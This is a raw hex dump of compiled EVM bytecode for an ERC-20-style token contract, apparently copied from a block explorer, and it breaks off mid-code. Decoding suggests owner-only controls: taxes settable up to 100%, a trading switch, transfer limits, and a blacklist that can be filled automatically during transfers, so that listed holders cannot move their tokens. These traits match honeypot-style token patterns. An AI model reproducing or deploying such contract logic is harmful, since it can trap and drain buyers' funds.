fffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612e345750600d60019054906101000a900460ff165b15612e5e57600d60029054906101000a900460ff1615612e5457600c5491505b612e5d82613255565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ea99190614a6f565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f8f5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612fa357612f9e87878761329d565b612fa5565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ff291906146ba565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161309291906143c1565b60405180910390a3600193505050506130c0565b6130b08483613563565b6130bb84848461378b565b600190505b9392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131149190614a6f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a291906146ba565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161324291906143c1565b60405180910390a3600190509392505050565b61325e81613d95565b6000479050600081111561329957613298600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261400e565b5b5050565b60008060009050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133485750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561336b576009546008548461335e9190614a2d565b6133689190614d86565b90505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156133df57600954600654846133ce9190614a2d565b6133d89190614d86565b9050613450565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561344f57600954600754846134429190614a2d565b61344c9190614d86565b90505b5b600081111561354d5780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a491906146ba565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161354491906143c1565b60405180910390a35b80836135599190614a6f565b9150509392505050565b61356b611a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156135f05750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156136465750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561378757601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136a257600080fd5b600060155411156136bd576015548111156136bc57600080fd5b5b601460009054906101000a900460ff161561370d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370490614e03565b60405180910390fd5b6000601654111561376757601654600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561376657600080fd5b5b601760009054906101000a900460ff16156137865761378582614059565b5b5b5050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561380d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161380490614e6f565b60405180910390fd5b613815611a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561389a5750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156138d257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613c0e57600d60009054906101000a900460ff16156138fd576138f78383836130c7565b50613ba4565b60006139083061193c565b90506000600c54821015905080801561392e5750600d60009054906101000a900460ff16155b80156139875750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561399f5750600d60019054906101000a900460ff165b156139c957600d60029054906101000a900460ff16156139bf57600c5491505b6139c882613255565b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a149190614a6f565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613afa5750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613b0e57613b0986868661329d565b613b10565b835b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5d91906146ba565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c0191906143c1565b60405180910390a3613d90565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c599190614a6f565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ce791906146ba565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613d8791906143c1565b60405180910390a35b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613dcd57613dcc614e8f565b5b604051908082528060200260200182016040528015613dfb5781602001602082028036833780820191505090505b5090503081600081518110613e1357613e12614ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ede9190614703565b81600181518110613ef257613ef1614ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f5930601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612a07565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fbd959493929190614fe6565b600060405180830381600087803b158015613fd757600080fd5b505af1158015613feb573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614054573d6000803e3d6000fd5b505050565b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006140e4826140b9565b9050919050565b6140f4816140d9565b81146140ff57600080fd5b50565b600081359050614111816140eb565b92915050565b60006020828403121561412d5761412c6140b4565b5b600061413b84828501614102565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561417e578082015181840152602081019050614163565b60008484015250505050565b6000601f19601f8301169050919050565b60006141a682614144565b6141b0818561414f565b93506141c0818560208601614160565b6141c98161418a565b840191505092915050565b600060208201905081810360008301526141ee818461419b565b905092915050565b6000819050919050565b614209816141f6565b811461421457600080fd5b50565b60008135905061422681614200565b92915050565b60008060408385031215614243576142426140b4565b5b600061425185828601614102565b925050602061426285828601614217565b9150509250929050565b60008115159050919050565b6142818161426c565b82525050565b600060208201905061429c6000830184614278565b92915050565b6142ab8161426c565b81146142b657600080fd5b50565b6000813590506142c8816142a2565b92915050565b600080604083850312156142e5576142e46140b4565b5b60006142f385828601614102565b9250506020614304858286016142b9565b9150509250929050565b614317816140d9565b82525050565b6000602082019050614332600083018461430e565b92915050565b6000819050919050565b600061435d614358614353846140b9565b614338565b6140b9565b9050919050565b600061436f82614342565b9050919050565b600061438182614364565b9050919050565b61439181614376565b82525050565b60006020820190506143ac6000830184614388565b92915050565b6143bb816141f6565b82525050565b60006020820190506143d660008301846143b2565b92915050565b6000806000606084860312156143f5576143f46140b4565b5b600061440386828701614102565b935050602061441486828701614102565b925050604061442586828701614217565b9150509250925092565b600060208284031215614445576144446140b4565b5b6000614453848285016142b9565b91505092915050565b600060ff82169050919050565b6144728161445c565b82525050565b600060208201905061448d6000830184614469565b92915050565b6000806000606084860312156144ac576144ab6140b4565b5b60006144ba86828701614217565b93505060206144cb86828701614217565b92505060406144dc86828701614217565b9150509250925092565b6000602082840312156144fc576144fb6140b4565b5b600061450a84828501614217565b91505092915050565b6000806040838503121561452a576145296140b4565b5b600061453885828601614102565b925050602061454985828601614102565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061458960208361414f565b915061459482614553565b602082019050919050565b600060208201905081810360008301526145b88161457c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061460657607f821691505b602082108103614619576146186145bf565b5b50919050565b7f416c726561647920616464656421000000000000000000000000000000000000600082015250565b6000614655600e8361414f565b91506146608261461f565b602082019050919050565b6000602082019050818103600083015261468481614648565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006146c5826141f6565b91506146d0836141f6565b92508282019050808211156146e8576146e761468b565b5b92915050565b6000815190506146fd816140eb565b92915050565b600060208284031215614719576147186140b4565b5b6000614727848285016146ee565b91505092915050565b6000604082019050614745600083018561430e565b614752602083018461430e565b9392505050565b7f496e636f72726563742074617800000000000000000000000000000000000000600082015250565b600061478f600d8361414f565b915061479a82614759565b602082019050919050565b600060208201905081810360008301526147be81614782565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061482160258361414f565b915061482c826147c5565b604082019050919050565b6000602082019050818103600083015261485081614814565b9050919050565b7f4368616e67652076616c75652100000000000000000000000000000000000000600082015250565b600061488d600d8361414f565b915061489882614857565b602082019050919050565b600060208201905081810360008301526148bc81614880565b9050919050565b7f54686973206164647265737320616c7265616479207365740000000000000000600082015250565b60006148f960188361414f565b9150614904826148c3565b602082019050919050565b60006020820190508181036000830152614928816148ec565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061498b60268361414f565b91506149968261492f565b604082019050919050565b600060208201905081810360008301526149ba8161497e565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b60006149f7600c8361414f565b9150614a02826149c1565b602082019050919050565b60006020820190508181036000830152614a26816149ea565b9050919050565b6000614a38826141f6565b9150614a43836141f6565b9250828202614a51816141f6565b91508282048414831517614a6857614a6761468b565b5b5092915050565b6000614a7a826141f6565b9150614a85836141f6565b9250828203905081811115614a9d57614a9c61468b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614aff60248361414f565b9150614b0a82614aa3565b604082019050919050565b60006020820190508181036000830152614b2e81614af2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614b9160228361414f565b9150614b9c82614b35565b604082019050919050565b60006020820190508181036000830152614bc081614b84565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614bfd601d8361414f565b9150614c0882614bc7565b602082019050919050565b60006020820190508181036000830152614c2c81614bf0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614c8f60258361414f565b9150614c9a82614c33565b604082019050919050565b60006020820190508181036000830152614cbe81614c82565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614d2160238361414f565b9150614d2c82614cc5565b604082019050919050565b60006020820190508181036000830152614d5081614d14565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614d91826141f6565b9150614d9c836141f6565b925082614dac57614dab614d57565b5b828204905092915050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b6000614ded60058361414f565b9150614df882614db7565b602082019050919050565b60006020820190508181036000830152614e1c81614de0565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b6000614e5960158361414f565b9150614e6482614e23565b602082019050919050565b60006020820190508181036000830152614e8881614e4c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000614f12614f0d614f0884614eed565b614338565b6141f6565b9050919050565b614f2281614ef7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614f5d816140d9565b82525050565b6000614f6f8383614f54565b60208301905092915050565b6000602082019050919050565b6000614f9382614f28565b614f9d8185614f33565b9350614fa883614f44565b8060005b83811015614fd9578151614fc08882614f63565b9750614fcb83614f7b565b925050600181019050614fac565b5085935050505092915050565b600060a082019050614ffb60008301886143b2565b6150086020830187614f19565b818103604083015261501a8186614f88565b9050615029606083018561430e565b61503660808301846143b2565b969550505050505056fea264697066735822122007c5e1fb0df0c371d11753e43f0ecc92b889e1e8193ed437966e3edb294b15f664736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106102b25760003560e01c80636ddd171311610175578063b70c2841116100dc578063dd62ed3e11610095578063e2f456051161006f578063e2f4560514610af3578063f2fde38b14610b1e578063f9fa48c314610b47578063fb8bd26f14610b72576102b9565b8063dd62ed3e14610a64578063de8f151714610aa1578063e01af92c14610aca576102b9565b8063b70c284114610968578063c10ea0a514610993578063c816841b146109bc578063cc1776d3146109e7578063ce1fd38014610a12578063d6c65f4614610a3b576102b9565b806395d89b411161012e57806395d89b4114610848578063a1c61f5014610873578063a457c2d71461089c578063a9059cbb146108d9578063ae96ffe614610916578063afa4f3b21461093f576102b9565b80636ddd17131461073657806370a082311461076157806375f0a8741461079e578063860aefcf146107c957806389fe8507146107f45780638da5cb5b1461081d576102b9565b806327722f6a116102195780635342acb4116101d25780635342acb4146106185780635881f3ef1461065557806359fa6d72146106925780635b65b9ab146106bb57806363244555146106e45780636d2f2ed61461070d576102b9565b806327722f6a146104f2578063313ce5671461051d57806331cd1acd1461054857806339509351146105735780633ecad271146105b05780634f7041a5146105ed576102b9565b806317a6954b1161026b57806317a6954b146103e257806318160ddd1461040b578063228cb7331461043657806323af46d91461046157806323b872dd1461048c57806326f0d8ce146104c9576102b9565b806303204989146102be57806306fdde03146102e7578063095ea7b3146103125780630f953cca1461034f578063107aa1891461037a5780631694505e146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e09190614117565b610b9b565b005b3480156102f357600080fd5b506102fc610c8b565b60405161030991906141d4565b60405180910390f35b34801561031e57600080fd5b506103396004803603810190610334919061422c565b610d1d565b6040516103469190614287565b60405180910390f35b34801561035b57600080fd5b50610364610d40565b6040516103719190614287565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c91906142ce565b610d53565b6040516103ae919061431d565b60405180910390f35b3480156103c357600080fd5b506103cc610e0d565b6040516103d99190614397565b60405180910390f35b3480156103ee57600080fd5b50610409600480360381019061040491906142ce565b610e33565b005b34801561041757600080fd5b50610420610fb5565b60405161042d91906143c1565b60405180910390f35b34801561044257600080fd5b5061044b610fbf565b6040516104589190614287565b60405180910390f35b34801561046d57600080fd5b50610476610fd2565b6040516104839190614287565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae91906143dc565b610fe5565b6040516104c09190614287565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb919061442f565b611015565b005b3480156104fe57600080fd5b506105076110e6565b60405161051491906143c1565b60405180910390f35b34801561052957600080fd5b506105326110ec565b60405161053f9190614478565b60405180910390f35b34801561055457600080fd5b5061055d6110f5565b60405161056a91906143c1565b60405180910390f35b34801561057f57600080fd5b5061059a6004803603810190610595919061422c565b6110fb565b6040516105a79190614287565b60405180910390f35b3480156105bc57600080fd5b506105d760048036038101906105d29190614117565b611132565b6040516105e49190614287565b60405180910390f35b3480156105f957600080fd5b50610602611152565b60405161060f91906143c1565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a9190614117565b611158565b60405161064c9190614287565b60405180910390f35b34801561066157600080fd5b5061067c60048036038101906106779190614117565b611178565b604051610689919061431d565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b4919061442f565b611587565b005b3480156106c757600080fd5b506106e260048036038101906106dd9190614493565b611639565b005b3480156106f057600080fd5b5061070b60048036038101906107069190614117565b611749565b005b34801561071957600080fd5b50610734600480360381019061072f9190614117565b611839565b005b34801561074257600080fd5b5061074b611929565b6040516107589190614287565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190614117565b61193c565b60405161079591906143c1565b60405180910390f35b3480156107aa57600080fd5b506107b3611985565b6040516107c0919061431d565b60405180910390f35b3480156107d557600080fd5b506107de6119ab565b6040516107eb91906143c1565b60405180910390f35b34801561080057600080fd5b5061081b600480360381019061081691906144e6565b6119b1565b005b34801561082957600080fd5b50610832611a50565b60405161083f919061431d565b60405180910390f35b34801561085457600080fd5b5061085d611a79565b60405161086a91906141d4565b60405180910390f35b34801561087f57600080fd5b5061089a6004803603810190610895919061442f565b611b0b565b005b3480156108a857600080fd5b506108c360048036038101906108be919061422c565b611bbd565b6040516108d09190614287565b60405180910390f35b3480156108e557600080fd5b5061090060048036038101906108fb919061422c565b611c34565b60405161090d9190614287565b60405180910390f35b34801561092257600080fd5b5061093d600480360381019061093891906144e6565b611c58565b005b34801561094b57600080fd5b50610966600480360381019061096191906144e6565b611cf7565b005b34801561097457600080fd5b5061097d611de7565b60405161098a9190614287565b60405180910390f35b34801561099f57600080fd5b506109ba60048036038101906109b59190614117565b611dfa565b005b3480156109c857600080fd5b506109d1611f9c565b6040516109de919061431d565b60405180910390f35b3480156109f357600080fd5b506109fc611fc2565b604051610a0991906143c1565b60405180910390f35b348015610a1e57600080fd5b50610a396004803603810190610a349190614117565b611fc8565b005b348015610a4757600080fd5b50610a626004803603810190610a5d919061442f565b6120b8565b005b348015610a7057600080fd5b50610a8b6004803603810190610a869190614513565b61216a565b604051610a9891906143c1565b60405180910390f35b348015610aad57600080fd5b50610ac86004803603810190610ac3919061422c565b6121f1565b005b348015610ad657600080fd5b50610af16004803603810190610aec919061442f565b612318565b005b348015610aff57600080fd5b50610b086123e9565b604051610b1591906143c1565b60405180910390f35b348015610b2a57600080fd5b50610b456004803603810190610b409190614117565b6123ef565b005b348015610b5357600080fd5b50610b5c6125b0565b604051610b6991906143c1565b60405180910390f35b348015610b7e57600080fd5b50610b996004803603810190610b94919061422c565b6125b6565b005b610ba36129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c279061459f565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054610c9a906145ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc6906145ee565b8015610d135780601f10610ce857610100808354040283529160200191610d13565b820191906000526020600020905b815481529060010190602001808311610cf657829003601f168201915b5050505050905090565b600080610d286129ff565b9050610d35818585612a07565b600191505092915050565b601760009054906101000a900460ff1681565b6000610d5d6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de19061459f565b60405180910390fd5b81601760026101000a81548160ff02191690831515021790555082905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e3b6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf9061459f565b60405180910390fd5b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f519061466b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b601460009054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b600080610ff06129ff565b9050610ffd858285612bd0565b611008858585612c5c565b5060019150509392505050565b61101d6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a19061459f565b60405180910390fd5b801515600d60029054906101000a900460ff161515036110c957600080fd5b80600d60026101000a81548160ff02191690831515021790555050565b60155481565b60006012905090565b60085481565b6000806111066129ff565b9050611127818585611118858961216a565b61112291906146ba565b612a07565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60065481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006111826129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112069061459f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112839190614703565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130e9190614703565b6040518363ffffffff1660e01b815260040161132b929190614730565b602060405180830381865afa158015611348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136c9190614703565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ff578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114119190614703565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c9190614703565b6040518363ffffffff1660e01b81526004016114b9929190614730565b6020604051808303816000875af11580156114d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fc9190614703565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b61158f6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116139061459f565b60405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b6116416129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c59061459f565b60405180910390fd5b61271083111580156116e257506127108211155b80156116f057506127108111155b61172f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611726906147a5565b60405180910390fd5b826006819055508160078190555080600881905550505050565b6117516129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d59061459f565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6118416129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c59061459f565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b6119b96129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061459f565b60405180910390fd5b8060158190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611a88906145ee565b80601f0160208091040260200160405190810160405280929190818152602001828054611ab4906145ee565b8015611b015780601f10611ad657610100808354040283529160200191611b01565b820191906000526020600020905b815481529060010190602001808311611ae457829003601f168201915b5050505050905090565b611b136129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b979061459f565b60405180910390fd5b80601460006101000a81548160ff02191690831515021790555050565b600080611bc86129ff565b90506000611bd6828661216a565b905083811015611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290614837565b60405180910390fd5b611c288286868403612a07565b60019250505092915050565b600080611c3f6129ff565b9050611c4c818585612c5c565b50600191505092915050565b611c606129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce49061459f565b60405180910390fd5b8060168190555050565b611cff6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d839061459f565b60405180910390fd5b60008111611d9957600080fd5b80600c5403611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd4906148a3565b60405180910390fd5b80600c8190555050565b601760029054906101000a900460ff1681565b611e026129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e8f576040517f08c379a00000000000000000000000000000000000000000000000000